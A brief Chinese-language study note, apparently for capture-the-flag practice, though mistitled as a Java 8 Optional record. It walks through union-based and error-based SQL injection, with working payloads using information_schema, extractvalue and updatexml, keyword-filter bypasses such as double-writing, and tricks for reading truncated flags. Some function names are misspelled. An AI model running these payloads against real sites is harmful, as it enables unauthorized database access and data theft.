JAVA8 Optional類記錄
1.聯合注入(最簡單的注入)
首先我們先判斷是否有注入點,通過1,1‘來看回顯是否相同,不相同就存在sql注入
一般沒有過濾字元,我們可以使用萬能密碼進行登入
登入後,使用 order by 來進行欄位數的判斷。
判斷出欄位數後,使用聯合注入的方式來獲取資料庫名,表名,欄位名
select database();
group_concat(table_name) from infromation_schema.tables where table_schema='資料庫名'
group_concat(column_name) from information_schema.columns where table_name='表名'
group_concat(欄位名) from 表名
2.報錯注入 (根據回顯的報錯內容來進行注入)
一般會過濾一些字元
例如 or and union select 等等 需要一個個去試出來
可以使用雙寫來繞過 例如 oorr aandnd;
過濾了一些關鍵字元 ,如=,空格等
可以使用like 代替 =
()代替=
xpath報錯
可以使用extractvalue,updatexml
語法: updatexml(XML_document,XPath_string,new_value) 第一個引數:是string格式,為XML文件物件的名稱,文中為Doc 第二個引數:代表路徑,Xpath格式的字串例如//title【@lang】 第三個引數:string格式,替換查詢到的符合條件的資料
當我們正常使用函式時,返回正常值,但當我們輸入XPath_string錯誤時,會返回我們錯誤和我們需要的內容
extractvalue 同理
extractvalue(1,concat(0x7e,(select database()))) ->會返回database()資訊(0x7e->~,~不屬於xpath屬於,所以會報錯)
extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='資料庫名')))爆表名
extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名')))爆欄位名
extractvalue(1,concat(0x7e,(select group_concat('欄位名') from '表名')))
可能還會遇到一些flag顯示不全
可以用right,left 函式
rigth("abc",1)->c
group_concat(rigth(欄位名,10)) 。。。 顯示後10位